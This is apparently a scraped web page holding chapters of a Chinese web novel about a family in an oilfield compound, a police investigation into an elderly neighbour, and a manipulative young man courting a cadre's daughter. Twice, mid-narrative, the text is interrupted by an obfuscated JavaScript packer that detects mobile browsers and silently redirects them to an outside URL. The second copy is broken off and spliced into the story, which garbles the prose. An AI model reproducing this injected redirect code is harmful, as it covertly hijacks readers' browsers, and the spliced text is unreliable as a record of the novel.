姜楠心内切一声,吸溜了一口汽水,高声道:“周知行,我告诉你,以后咱俩结婚,工资可都得归我管。自来都是女人管钱,你一个大男人,可不能拿钱,毕竟男人有钱就变坏。而且你放心,我会把工资分成三份,一份用作家里的日常开销,日子是咱俩一起过的,家用当然是两个人都要出了。另一份则是家庭基金,要是有什么大事儿或者意外啥的,就从家庭基金里出。另一份则是固定存款,这可是咱们日后生活的底气,不到万不得已,是绝对不能动的。” 她一副‘看吧,我很聪明吧’的神情,昂着下巴道:“你说,我这么安排,是不是很合理?” 姜楠不知道这么做对不对,可她就是看不惯男人PUA女人。你想要什么可以直接说啊,非要裹上一层光鲜亮丽的皮,实则内里比谁都龌龊,真是想想就恶心。 说得极端一点,真小人都比这些PUA渣男好! 见那个被称作玲子的女人听进去了,姜楠也不多说什么了。 她这也算介入别人的因果了吧。希望不会被反噬。 姜楠喝完汽水儿,挽着周知行的胳膊离开。 却不知道,后面那个叫‘建华’的男人,气得牙根痒痒。他可是打着让女方养家的打算的!他的工资可得存着,不能给玲子!如今打算被戳穿,一看玲子就听进去了,可不气死他了嘛。 推车时,周知行装作不经意间回头,看到男人气的脸黑如锅底,笑着对姜楠道:“他要被你气死了。” 姜楠可高兴了呢:“气死才好呢,这种渣男就得配个比他渣一万倍的渣女才行。可惜啊,看那个玲子的样子,对他还是不想放手的。” 周知行点头:“你都帮到这里了,剩下的也不是咱们能管的了。” 姜楠嗯嗯嗯地点头:“也不知道这次做好事儿有没有吃瓜币。上次可是给了五百个呢,说是挽救了被PUA到自杀的小茹的性命,不知道这次能给多少。慢点儿,等我看看。” 姜楠点开系统,系统的电子音如期响起。 【宿主,检测到这次的玲子后期没有自杀,不过如果没有你的提醒,她后期也是心情郁结,患了乳腺癌过世的。如今按照主系统的评判标准,给您五十吃瓜币,算是间接拯救了他人性命的奖励。】 姜楠高兴地小声道:“五十个吃瓜币呢。” 周知行嘴角弯起来:“那可不少了。” 姜楠又小鸡啄米地点头,看得周知行直乐。 两人回到家属院时,天已经暗了。这几日两人一起上下班,姜满城和陈金花也没瞎操心,不过还是给姜楠留了饭。 “我回来啦。”一进门,姜楠忍不住高声。 家里,陈金花坐在沙发上听收音机,姜满城则在捣鼓木工活。 这些木料还是上次在废品收购站找的,姜满城想着闺女的空间里还缺个装东西的架子,这不是就忙活开了嘛。 两人看见闺女回来,自是十分的高兴。陈金花起身,将餐桌上的罩子打开,露出里面特意留出来的饭菜。 姜楠叭叭叭,开始分享路上做的好人好事。她总结道:“那渣男可真是不做人,我可是看了系统的,他打着让玲子嫁过去,在他家做牛做马的心思的。真是脸大!玲子也是有工作的,凭什么就得女人家里家外一把罩?” “对,你这么想就对喽。”姜满城抬头,脸上露出赞许的神情,忍不住附和,“家是两个人的,可不是女人一个人的责任。你以后和周知行结婚了,也不能做那种一把罩的蠢女人!你要是这么蠢,我和你妈可是会揍你的,打也要把你打醒!” “我知道的呀。”姜楠拿起窝头,开始吃饭,“爸,我这么聪明,怎么会犯蠢呢?你就放心吧,我可是心里有数儿的。” “你有数什么有数,刚见几面就敢答应他考虑考虑,哼。”姜满城想起这个就来气,那次他怎么就不在呢。要是他在,可决不允许周知行这么对他闺女。哼,他闺女单纯,他可不是好惹的。 姜满城叨叨叨,开始教育闺女:“小楠啊,俗话说男人的嘴,骗人的鬼,你可得心里有数儿啊。男人要是能靠得住,母猪都能上树。你可别被周知行那家伙的甜言蜜语骗了,知道不?” 姜楠嘴角抽了抽:“爸,您这也太夸张了。这咋连自己都骂上了?” 姜满城摆摆手:“我跟一般的男人一样嘛?我可是你爸,可从来都是说到做到的,你问问你妈,我哪次不靠谱过?不过其他男人可不一样。小楠啊,你可得把眼睛擦亮了,别什么话都听,什么人都信,知道不?” 陈金花不满:“你就不能教闺女点儿靠谱的?整天净说这些没谱儿的事儿。” 姜满城严肃脸:“我这说的,就是最靠谱的话!” 他一屁股坐到姜楠对面,又开始叭叭叭。 姜楠嗯嗯嗯地点头,趁着姜满城换气儿的功夫,赶紧转移话题:“妈,你看我买啥好东西了?” 她乐颠颠地指着放到茶几上的斜挎包,“妈,你快去看看,那里面可是我新买的的确良,你看看好不好看?” 陈金花闻言起身,三两步走到茶几旁,打开姜楠的包,里面赫然是红色的确良,陈金花嘴角都咧开了:“哎呦,你这是哪儿买到的?供销社那里不是卖光了?” 她伸出手,高兴地摸了摸布料:“这摸着可真不错哎。花色也好,我看看......不对啊,我记得供销社卖的不是这个花色。” “嘿嘿,是周知行认识一个老大娘,她那里有货,我们俩刚就是去买这个的。”姜楠高兴地说,“妈,你摸摸,料子还不错,我准备做一件儿连衣裙穿,也给妈你做一身儿,怎么样?咱俩穿一样的,别人一看就知道咱俩是母女。” “不用,你再做一件长袖褂子,正好定亲的时候穿。”见闺女想着自己,陈金花也高兴,不过仍是道,“正好是红色的,多好。九月天也凉了,不能穿裙子,做个长袖衫正好。妈这两天多留意留意,给你买件深颜色的裤子,正好配一身,定亲的时候都穿新的。” 听到这里,姜满城抬起头插嘴道:“小楠,这布料是你付的钱,还是那小子付的?” 姜楠愣了下,笑道:“当然是我付钱,爸,我俩还没定亲呢,我咋能花他的钱。” “那可不行。”姜满城撇撇嘴,显然对周知行很不满,“定亲的新衣服,怎么都得那小子付钱吧?而且都定亲了,他的工资总不能不上交吧?这男人有钱就变坏,他上辈子还是个不靠谱的败家子,手里可不能有钱。行了,你别管,等我哪天跟他说。” 陈金花虽然一向听姜满城的,谁让男人比她有主意呢,可她却总觉得哪里不对,她挠挠头,说道:“满城,这个不好吧?这都没结婚,怎么能花小行的钱?” “小行?”姜满城声音拔高,声音里是满满的不忿,“金花,你怎么能叫他小行?” 他拉过陈金花的手,很是语重心长,又有些酸溜溜,他说:“金花啊,咱俩得统一战线。你可不能被那个小白脸儿哄骗了去。我跟你说,那就是个臭小子,是需要咱俩时刻监督的。而且这都定亲了,他还想不成亲?美死他得了。” 姜楠嘴角抽抽,他爸,说周知行是小白脸儿?他爸这是,多少对自己,没点儿数吧? 不过他爸这是想让她和周知行定下来啊,还是不定下来? 她挠挠头,矛盾,真是太矛盾了。 陈金花可没听出来什么矛盾不矛盾的,她有些脸红,瞥了闺女一眼,甩开男人的手,轻斥道:“胡说什么呢你,小行可是好孩子。这几天,天天早上等咱闺女一起上下班,每天都乐呵呵的......” 姜满城如临大敌,他可不能让这个新来的小子,占据金花心里第一的位子啊,他立马做出一副伤心的表情,捂着心口,说:“金花,你怎么能夸别的男人,你......” 姜楠抹抹嘴儿,幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552855|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好她把粥喝完了,不然就她爸和她妈这种时刻黏糊的劲儿,看都看饱了。 她默默起身来到沙发旁,卷起茶几上的红色的确良,一溜烟儿回到卧室,关门。他爸这醋吃的,她都没眼看。 其实早些年,也就两三岁那会儿,她没觉得她爸有多喜欢她妈。 也是,姜满城这个人,最是油滑,当初娶陈金花,多半还是看上了陈家的条件,加上陈金花为人简单,没什么弯弯绕。姜满城这种满肚子心眼儿的,可不就喜欢这种简单的人。他可不想在外面累了一天,回家还得继续斗心眼儿。 可渐渐的,陈金花为人实在,认定的人,那是全心全意对他好的。当时两人都在勘探专家组那里打下手,有一次遇到大雨,姜满城脚打滑,从坡上摔下去,陈金花是想也没想,立马拽着姜满城的手,两人一齐掉进了沟里。就这,陈金花还不忘护着姜满城的头。 还是专家组的几个老专家,一齐出力将两人拉了上来。 从那时起,姜满城才算是敞开了心扉。那时候姜楠也就三四岁吧,还是杜荷花养着的。一直在农村呆到了十岁左右,朝阳油田才成立,姜满城也当上了工人,一家三口这才去了城里住。 姜楠回想着往事,估摸着他爹醋吃够了,这才打开门。不出来不行,她晚饭还没吃饱呢。虽然已经有些饱了,但还是实实在在的物质食粮更有营养不是。 狗粮什么的,还是留给真正的单身狗吧。 非单身狗姜楠,跟着调查组看了近十天的档案,终于迎来了第一次会议。 会上,调查组的宋主任挑出了他认为比较可疑的几个人,将名单发给众人,他说:“这是我认为比较可疑的十个人,咱们分一分工,争取尽快查清楚。” 姜楠看着其中一个名字,眨眨眼,再看一遍,名字还在,她不解地问道:“宋主任,宗凤仙,也就是方阿婆,为什么也被怀疑啊?” 她还是第一次知道,方阿婆,本名叫宗凤仙的。 宋主任笑笑,冲姜楠点点头,解释道:“这个人是我重点怀疑的。倒不是怀疑她是特务,只是她来历不明,是应该查一查的。档案里,她来自南方月省,是活不下去,先是跟着戏班子去了东部海边,过几年又跟着大家来了油田。可她口中能给她作证的,都死了,剩下那些也都是听父母说的,其实都不咋认识她。这是最可疑的地方,” 姜楠心下骇然,心道宋主任果然有两把刷子,他说的对吗?那肯定是对的,姜楠是有作弊利器在,知道方阿婆的猫腻,但宋主任却能从这么多人里,将方阿婆准确地挑出来,不得不说是很厉害了。 她不再开口,沈所长和宋主任开始分配任务。因着姜楠和周知行跟方阿婆住一个楼,为了避嫌,去楼里找方阿婆的人,就交给了沈所长和蓝青山。姜楠和周知行则跟着调查组唯二的女同志一起,调查年家。对,就是那个娶了小寡妇梁春花,和特务牵扯上的年为国年家。 当初大小寡妇为什么瞄准了年家,这总得调查清楚吧?而且年家还有三兄弟呢,都在油田,谁知道有没有被别人盯上。调查组这次的任务之一,就是再摸排下年家,以及年家有关的社会关系。当然,卢家辉的社会关系,也是这次摸排的重点,还是重点中的重点,由调查组的宋主任带队,亲自负责。 先说沈所长和蓝青山,两人以协助调查的名义,去了一号院。 虽说前一段,很多大爷大妈都去了其他院子,这不是公厕闹鬼嘛,大家害怕,自然就避着。可谁知,这几天又消停了。大家也是好了伤疤忘了疼,很快又在院子里集合唠嗑了。 沈所长和蓝青山到的时候,大家还在聊这几天的宣讲呢。这处罚条例规定的还是很严格的,大爷大妈们跟着听了几场,心里是很赞成这些规定的。 “就得处罚得严一点儿,否则就是挖国家墙角,这可不行。石油都是国家的,怎么能私人卖呢。” “可不是,尤爱钱那家伙早该吃花生米了。大家伙说是不是,哎,老程头?你发什么呆?” “对啊,老程头,你这几天怎么总是魂不守舍的?咋了,昨天还听你家大柱吵吵呢,这是又咋了?” “啊,没事,大柱那是钱花光了,跟我要钱呢。”老程头呵呵笑了两声,他长得极瘦,尖嘴猴腮的,一笑,满脸的褶子,跟程大柱那种白胖白胖的中年大厨完全不一样。 对面的老大爷开口了:“老程头,不是我说你们两口子,你俩对大柱,那是太宠着了。你瞅瞅,楼里就他手松,前两天还看他买了一块儿猪肝,吃完了才上楼的。你俩是不是都没尝一口?这孩子不打不成器,你们家大柱啊,这是小时候打少了。” “你少胡咧咧。”见有人说她儿子,刘老太不乐意了,“我家大柱是厨子,买点儿好吃的琢磨琢磨怎么做,这有啥大不了的?再说,我家大柱孝顺着呢,你少多管闲事儿。” 眼看就要吵起来了,沈所长和蓝青山正是这时候到的。 两人直奔方阿婆,沈所长表明来意:“您是宗凤仙宗同志吧?是这样,根据尤爱钱的供述,他的事牵扯到一个叫刘更生的同伙儿。这个刘更生的父母,据说是当初跟您一起从月省来咱们油田的,我们来是希望跟您了解一下情况。” 方阿婆眼神闪了闪,很久没人提过那个名字了,她以为早就没人记得了,如今听到,她有几分不安,很久都没反应过来。 众位老人也是诧异,你看看我,我看看你的。警察是对着方阿婆说的,但方阿婆没反应啊,有人困惑地问:“宗凤仙?谁叫宗凤仙?” 方阿婆回过神,站起身,期期艾艾地说:“我......我叫宗凤仙。我家男人姓方,我们南边的习惯,都是冠夫姓的,这不是一时没反应过来。” 她带着几分不确定地说:“警察同志,你们有啥想问的,我......我年纪大了,很多事都记不清了。那个刘更生,我都不记得他父母叫啥了。” 沈所长笑笑:“没事儿,记起来多少算多少。这样,要不咱们去派出所慢慢想?那边有桌子有椅子,还有水啥的,您可以好好想想。” 方阿婆有些犹豫,她迟疑着说:“警察同志,您看,这都要做午饭了,我这一时半会儿也想不起来。要不然等我想起来了,我自己去派出所跟你们说?” “大妈,这可不行。”沈所长依旧笑眯眯地,口气却不容置疑,他说,“尤爱钱案可是今年油田的大案子,他供出来的同伙儿,可是也有重大的作案嫌疑的,还请您能配合调查。您放心,我们不会为难人的。” 人群里择菜的曹老太反应过来,开始劝道:“方家的,额,宗凤仙?” 她摇摇头,不再纠结称呼,继续说:“你就别推辞了。那尤爱钱可不是啥好东西,咱们能帮上忙的都帮一帮,也是为油田做贡献了不是?你放心,你家巧莲还在家,午饭就让她做,你下午再回来都没事的,不用操心。” “就是,老方,不对,应该是叫老宗吧,哎呀,不管了,反正你不用操心家里,大不了我们邻里邻居的帮忙看着两个孩子,这有啥大不了的?还是帮着警察办案重要。” “就是。” 这时候的人普遍热心,大家你一言,我一语的,说得方阿婆没了办法,不安地跟着两位警察去了派出所。 只是谁也没想到,这一去,就再也没有回来。 47. 断绝关系 去年家请人的,顺利许多,一来三兄弟都有工作,对派出所询问还是很配合的,毕竟不配合怕影响工作嘛,而且之前已经调查过一次,三兄弟的嫌疑不大,在派出所问了一下午,也就放回去了。 问题最大的,恰恰就是方阿婆宗凤仙。 “根据调查,能证明宗凤仙来自月省的几人,都在来到油田第一年就去世了。通过询问这几人的后辈,我们发现一个共同点。” 会议室里,宋主任跟大家一起讨论调查结果:“这些人都在月省的宗家做过下人,或者跟着宗家做过生意。宗家是早年的汉奸,在月省臭名昭著,解放前就被清算了。这些人在月省呆不下去,这才一齐去了东部海边,后来还一起来了油田。查阅这些人早年的档案,他们和宗凤仙都是在宗家做下人的。可我询问过宗凤仙本人,发现她并不像是下人。” 宋主任点了点桌子,一一列举几项疑点:“第一,她说她是宗家的家生子,被赐姓宗,负责一些浆洗的活计,可她却说不出浆洗衣物的浆水如何调配。第二,当年那些一起来油田的人,隐隐是以宗凤仙为首的,有几个人还因为路上护着宗凤仙受伤。” 宋主任顿了顿,给大家思考的时间,最后说:“我怀疑,宗凤仙是宗家的孩子,当年不知什么原因,逃过了清算,还逃到了油田。当然,宗凤仙还没有开口,但我相信,她很快就会吐口,而且她身上有案子,就不知道是什么案子了。” 会议室里雅雀无声,很久,大家才嗡嗡嗡地反应过来。 “妈呀,都这时候了,还有汉奸呢。” “不是汉奸,是汉奸子女。不过也够奇葩了,她是咋逃出来的?” 沈所长也是震惊得不行,属实是没想到,他们第十作业处,不仅有特务,这还有汉奸呢。 良久,他才轻咳一声,开口道:“好了,大家不要声张,这种事儿总要调查清楚才好说。之前还请大家保密,毕竟事关重大,大家心里要有数。” 众人点点头,宋主任开始介绍其他的可疑人员。 而四号楼前,大家也在议论这个事儿。谁让,方阿婆都去了三天了,还没回来。前两天,大家认为是协助调查,都没在意。可第三天还没回来,大家心里就犯嘀咕了。这哪有三天了,还不回来的?这该想起来的,两天总归都想起来了吧,哪里需要三天?这不能出什么事儿吧? 曹老太扒拉着红薯叶子,有些不确定地问孙巧莲:“巧莲啊,你没去派出所问问?你婆婆就算记性不好,两天也够了,这哪能还不回来。” 孙巧莲苦着脸,她也想知道怎么回事儿啊:“我等下问问小楠,曹大妈,您也帮我问问小行,这我婆婆身子骨不好,不能总呆在派出所的。” 曹老太严肃着脸说:“不行,我们家有规矩,在家不能谈公事。要问,就去工作单位,在家问算怎么回事。你也别等小楠了,现在也没啥事儿,你去派出所问问呗,又不会少块肉,光在这苦着脸有啥用?” “就是,曹大姐说的对,你要是心疼你婆婆就去派出所。”刘老太帮腔,她上下打量了孙巧莲一眼,不屑道,“小楠和小行都在的,你怕啥?这做了亏心事儿的,才怕去派出所呢。” 孙巧莲一时气结,她可不是做过亏心事儿嘛。虽说都是你情我愿的,但到底是不清不楚,她也怕去派出所啊。不过都被挤兑到这儿了,也不是她说不去就不去的,那可是她婆婆,她要是不管,唾沫星子都能淹死她。 不过她眼珠子一转,柔声道:“我自然是不怕的,只是我笨嘴拙舌的,怕是说不清楚。不如大家跟我一起去?我家也在楼里住了五六年了,大家邻里邻居的,这点儿小忙还是会帮的吧?” 裘老太最看不惯孙巧莲这幅样子,她嗤笑一声:“你想让我们去就直说,做这副死样子给谁看?” 虽然这么说,可大家都好奇,他们也没啥事儿,很快将手上的东西放回家,浩浩荡荡去了派出所。 派出所众人已经开完会,准备再去走访一下群众,调查调查。方阿婆这里,还是沈所长和蓝青山负责的,两人揣上纸和笔,正准备往外走,就看见四号楼过来的众人。 “好嘛,不用去了。”沈所长开玩笑道,“这还省事儿了呢,不用咱们再跑一趟。” 蓝青山耸耸肩,不置可否。两人将众人迎进大厅,恰好姜楠和周知行也在,邻里邻居免不得打招呼说话,两人帮着端茶倒水的没个停歇。 稍倾,大家才逐渐安静下来,沈所长开口道:“我知道大家是来问宗凤仙的事的。正好,我和青山还说再去一号院问问大家伙的。那咱们现在正好开始?小楠,小行,你俩分别带两个人,嗯,就刘大妈和裘大妈吧,孙巧莲、曹大妈你俩留下来,我和青山问,可以吧?” 别看大家都说要来看看,其实真过来的也就这四个人。刘老太一把拉住姜楠,小声问:“小楠,这方阿婆,呸,宗凤仙,真有问题啊?” 姜楠笑笑,没接这个话,而是将人带到了一处角落,轻声问:“刘奶奶,您最早见宗凤仙是什么时候?您知道她是哪里人嘛?” 刘老太拍拍胸口,显然有些受到惊吓,她回忆着说:“六年前吧,那时候她丈夫和儿子还在呢,不过也就不到一年的时间,先后死了。家里就剩下孤儿寡母的,当时我们还可怜她,谁知道这是个惯会装可怜的,占便宜没够儿,后来大家也就不理她了。至于她是哪里人嘛,这个我真不知道,不都说她是南边来的,口音都跟咱们不一样,这总归不能是咱们这边的人。” 姜楠一边点头一边记录,见刘老太不再说了,接着问:“那您一直不知道她叫宗凤仙?” 刘老太摇摇头:“不知道啊。她说她们那边的习惯就是冠夫姓,一直就方阿婆方阿婆的叫。那个徐大妮,就是裘老太,她还觉得这样好,也让大家叫她裘老太呢。我估计就连方阿婆她儿媳妇,都不知道她叫宗凤仙。对啊,她为啥不说自己叫啥啊?小楠,你说,她是不是特务?” 刘老太捂着胸口,一脸的后怕:“妈呀,她不会杀过人吧?这,我跟她吵过那么多次,她不会想杀我吧?小楠,你可得保护刘奶奶啊。” 这边刘老太想象力丰富,那边裘老太徐大妮则是一直盯着周知行不放,这谁让,周知行好死不死的,看上了姜楠呢。她家盼儿哪里不好了,警察,警察没当上,连找对象都慢了姜楠一步。人家姜楠都要定亲了,她家盼儿还没个对象呢。虽然她也不喜欢盼儿那丫头,但他们老裘家,在楼里也是数一数二的,人前总不能输姜楠太多吧? 她缠着周知行,对他的问话充耳不闻,一个劲儿问:“周家小子,你在部队还有认识的军官吧?有没有团长、营长啥的,给我家盼儿介绍介绍?我家盼儿也是高中生,长得比小楠还好呢,配个团长营长的不亏吧?不是我吹,就是军长,那也能配得上的。” 周知行无奈,再问一遍:“裘家大妈,请问您最早见到宗凤仙是什么时候?可知道她的本名?知道她是哪里人吗?” 裘老太撇撇嘴,见周知行油盐不进,只得回忆道:“六年前吧,谁知道她叫宗凤仙啊。宗这个姓这么难见,我们要是知道她姓宗,还会叫她方阿婆?凤仙,凤仙,哎呀,我知道了。” 她一拍大腿,神秘兮兮道:“她不会是妓女吧?不是有什么小凤仙之类的花名?她是不是就因为这个,不敢说自己叫宗凤仙的?” 两个老太太一个比一个想象力丰富,那边孙巧莲倒是不敢想太多,她面对沈所长,再多伎俩也不敢在派出所放肆啊。她低着个头,声音有些发虚,她说:“我......我是油田附近大队的,当初嫁给方鸿运,也是媒婆介绍的,说他们家老爷子是手艺人,会点儿金银铺子里的活计,日子好过,我才嫁过去的。后来大队发现石油,又招工,公公和鸿运就都当了工人,住进了筒子楼。可我和婆婆运气不好,公公和鸿运一年内相继去世,家里就剩下我和婆婆两个大人,还有三个孩子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560934|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说到这里,她哽咽着擦擦眼泪,抬起眼皮儿,袅袅娜娜觑了沈所长一眼,见他记得认真,半点儿没有其他表情,只得垂下眼,继续道:“婆婆身子不好,南山、南笙几个还小,我们就寻思着卖了一个工作,另一个工作我来接班。今年南山高中毕业,我就把工作又给了南山。我家婆婆是个好人,对我好,对几个孩子也好,可能......可能因为家里过得困难,别人家做点儿好吃的会过去要一点儿,但这也是没法子,谁让我家就我一个人出来做工呢。可除了这个,我婆婆再没干过其他的。” “好了,这些我知道了。”沈所长记完最后一笔,抬起头,严肃地看着孙巧莲,问道,“你知道你婆婆是月省人吗?” 孙巧莲愣了一下,点点头道:“知道,婆婆说她在月省时,是在一家大人物家里做下人。” “具体什么大人物?” “这个我不知道。婆婆很少提起月省的事。” “那你婆婆在大人物家里做什么,你知道吗?” “下人嘛,无非就是一些洗洗涮涮的活儿。婆婆她说以前洗衣服手都洗破皮了,好几年都不能沾水。” 询问还在继续,可知道最少的就是曹老太了。没办法,她来筒子楼最晚啊,来的时候大家早就方阿婆方阿婆的叫了,她连方家的两个男人都没见过。 回去的路上,孙巧莲心一直扑腾扑腾跳。婆婆出事儿了,这个念头在她心里越来越强烈,以至于见到下班的儿子时,她一把拽住儿子的手,目光坚定,语气带着不容置喙的决绝,她说:“南山,你得登报,和你奶断绝关系。要快,不然被你奶牵连,你的前程就完了。” “妈,你先别急,你今天见到奶了?她说什么?”方南山眼神闪了闪,问道。 “没有,没见到。”孙巧莲见儿子没同意,急道,“南山,不是妈心狠,妈是怕你出事儿啊。这个家就靠你了,谁都不能影响你的前程啊,你奶也不成。就算......就算冤枉了你奶,你奶要是以后放出来了,我跟你奶说,这事儿都是我的主意,跟你没关系。咱们这都是权宜之计,你得听妈的。妈知道你孝顺,可这事儿你不听也得听,知道吗?” 说到最后,孙巧莲第一次语气如此强烈。 方南山拍拍母亲的胳膊,柔声道:“妈,先不急,我去找成美娟问问。她爸是领导,应该可以帮着打听打听。明儿咱们再说,不急于这一时半刻,好不好?” 不是方南山不想做,而是不能这么急。他奶那里还不知道是什么情况,他冒然登报断绝关系,是会被人骂没良心的。他眼神幽暗,想着如何处理如今的处境。如今他工作了,可得注意影响,这么没品的事,他可不能做。 安慰好了亲妈,他换了身干净衣服。在井上忙了一天,工作服沾染了油污,去见成美娟,还是要收拾一下的。如今成美娟已经听话地远离了姜楠,下一步就是再远离其他朋友,兄弟姐妹是其次,最后就是远离父母长辈。如此,生命里只有他的声音,那才算是合格,能做他方南山的媳妇儿了。 这种家庭条件好的女同志,就得如此孤立在世界之外,将他当做唯一的希望与救赎,才能全心全意挖娘家贴补夫家。否则,他何苦费这么大力,讨好成美娟呢。农村貌美的小姑娘多的是,他招招手就有,可有什么用?除了能发泄发泄,半点儿都帮不到他。 方南山信步慢行,思考着如何措辞。傍晚的微风吹在脸上,他淡淡地笑了。 奶奶、母亲,还有未来的妻子,这些女人,不都被他玩弄在股掌之间?他奶自以为聪明,逼着他妈做那些事,可那些主意,还不是他不经意间,露出来给他奶听的? 七年前,快饿死的时候,他就知道,人这一辈子,谁都不能信,任何事都得靠自己。父亲会为了两个弟弟放弃他,奶奶会为了自己不管他,妈妈会为了父亲忽略他,那他何苦还要再在乎他们的死活?他要活着,要很好的活着,谁都不能让他吃苦。 48. 又相亲 “南山。” 成美娟穿着一件红色碎花的连衣裙,脸蛋红扑扑地跑下楼,见到方南山,羞涩地摸了摸两条麻花辫,笑着说:“这么晚了,你怎么来了?” “美娟。”方南山眼睛亮晶晶的,盛满了见到心上人的喜悦,他说,“我去了井上两天,刚下班,在队里换了衣服就跑来了。我心里唯一的念头就是,想第一时间见到你。你还是这么美,我......” 他声音越来越轻,有着大小伙子的羞涩,他停顿了下,接着说:“美娟,我真的很高兴。” “我也是。”成美娟低下头,穿着白色塑料凉鞋和白色蕾丝袜的脚,喜悦地在地上画着圈,她觉得今儿的风都格外迷人。 不久,她抬起头,眨了几下眼,问道:“你没回家,那......是不是还不知道你家的事儿?” 方南山嘴角隐晦地勾了勾,他有些疑惑地问:“我家能有什么事儿?” 成美娟见方南山不知道,有些着急:“你奶奶在派出所三天了,还没出来。不知道怎么了,你......你还是回去看看吧。” 方南山脸色变了,他嗫嚅着嘴角,惶恐不安道:“是吗?我......我奶奶那么大年纪,在派出所三天,她怎么受得了?” 他有些手足无措,慌忙转身,踉跄了下,很快站稳,回头对着成美娟歉意一笑:“美娟,对不起,让你担心了。我这就回去,要是有什么事儿,你......你就说你从来不认识我,知道吗?” 成美娟眼圈都红了,她就知道,南山这么好,任何情况下,第一时间想到的都是保护她。她赶忙上前扶住方南山,坚定地说:“南山你别担心,我让我爸去派出所问问,肯定没什么问题的。你是修井队的,算是我爸管着的,他去问问也正常。你别急,我这就上楼找我爸。” 方南山摇摇头,攥着成美娟的手拒绝道:“美娟,别让叔叔为难。当初我能进修井队,还是叔叔松的口。叔叔已经够忙了,不用再为了我家的这点儿小事儿忙活。你是叔叔的女儿,该全心全意为叔叔着想的。” 成美娟松开方南山的手,坚决道:“南山,我怎么能看着你为难。你先回去吧,我这就去找我爸,你放心,我不会让我爸为难的。我......我就是想帮你。” 方南山叹了口气,语气有些着急,他说:“美娟,我不能跟你说这么多了,我得急着回去。你一定要好好的,再见。” 说着他摆摆手,头也不回地离开。 成美娟看着他的背影,只觉得她一定要义无反顾地帮他。否则这么优秀的南山,就要被家里压垮了。 她没看到,转过身的方南山,眼底闪过一道得逞的光。 得逞的不止是方南山,还有心心念念要给儿子相亲的林有粮林大叔。受姜楠和周知行定亲刺激,林大叔满心满眼都是让儿子早点儿成亲。好不容易说动曹老太帮着寻摸,曹老太也是幸不辱命,前几天终于找到一个合适的。 虽说时间不凑巧,但这是早几天就说好的,人家姑娘又不知道她今天去了派出所,所以这相亲并没有取消。 虽然受了方阿婆宗凤仙事件的影响,楼里气氛有些低迷,但林兵相亲这么大的事儿,大家伙儿还是好奇的。毕竟啊,上次可是遇见孙玲玲这个奇葩呢,这次不知道会遇到什么样儿的。 而且这次,还是林有粮林大叔亲自领着林兵,相亲时间还是下班后,大家伙儿更是不会放过了。 对了,双方这次还是约在公园水榭。 两方都是一下班就来的,因此都穿着工服。等女同志一出现,大家明白了,为什么这女人二十二了还没出嫁。 这,这就是另一个陈金花啊。 虎背熊腰的,足有一米七五的个头儿,衬得一旁的曹老太娇娇小小的。梳着个胡兰头,收拾得倒也立整,脸紧绷着,倒是让等着看热闹的大家不敢说话了。 两人后面还坠着两个半大小子,要是姜楠在这儿,就能认出来,这是废品收购站见到的那俩小子,王自力和王更生。 其实曹老太也是用了心的,找的这个女同志,人家是有工作的,今年二十二岁,还比林兵小四五岁呢,怎么也能配得上的。 这女同志叫王艰苦,她是家里的老大,后面三个弟弟,大弟弟王奋斗,十八岁,已经下乡一年了,王艰苦参加工作早,是供暖所烧锅炉的。她一个女同志做这个,当然是有原因的,她这个人,天生有一股子力气,男人都不及的。当初就是因为这个,才被招了进来。家里父母死的早,兄妹四人相依为命,王艰苦一个人拉扯三个弟弟,倒是耽误了结婚。 如今最小的弟弟都初中毕业了,她也想着嫁人的事儿了。只是她这个样子,虽然三个弟弟心疼,其他男人可都敬谢不敏的,媒婆好话说尽,都很少有男方愿意松口。 当初林有粮来找曹老太,曹老太就是因为想到王艰苦,才接了话茬儿。她是心疼这女娃子,想着林兵虽然不靠谱,但有林老弟发狠督促着,再加上王艰苦不是个软柿子,怎么都能把林兵管住喽。 此时,曹老太领着人,在父子二人对面坐下。林兵早在见到人时,就涨红着一张脸,此时还没等两人坐下,他就站起来嚷开了:“曹大妈,您这也太欺负人了吧?我是哪儿得罪你了,你就给我介绍这么一个对象?凭啥别人都是娇娇俏俏的小姑娘,到我了,好家伙,就变成母老虎了?您是看不起我还是怎么?” “你说什么?你说谁母老虎?”王自力瞪着一双大眼睛,双拳紧握,冲着林兵吼,“你是什么东西,就敢嫌弃我姐?我还不想让我姐来呢,你还不愿意?你一个跟寡妇不清不楚的,要不是曹奶奶说你会改,我们还不愿意呢。” 王更生也是双眼通红,在后面龇牙咧嘴地叫嚷:“你再说一个试试?” “自力,更生。”王艰苦冷着脸,回头训斥道,“好了,为了不值得的人,生气不值当。” 她转身对曹老太道:“曹大妈,您也看到了,林兵同志不愿意,这强扭的瓜不甜,我虽然想嫁人,也不是谁都嫁的。今儿还是算了吧,咱们也别耽误时间了。” 林有粮林大叔也是没想到儿子这么混不吝,当场就敢这么叫嚣。他看出来了,这是个好姑娘,虽然长得一般,但有本事,将两个弟弟教的懂事儿又体贴,自己更是个有主意的,他可不想错过,他当即拿起拐杖就打林兵:“我打死你个不知道天高地厚的,你给我坐下。” 林兵被打得左右闪躲,见他爹气得眼珠子都要瞪出来了,只得气哼哼地坐下。 林有粮这才跟对面的两人道:“曹大姐,这位女同志,我替我儿子给你们道歉。咱们再谈谈,林兵就是个没脑子的,他没恶意的,真的。” 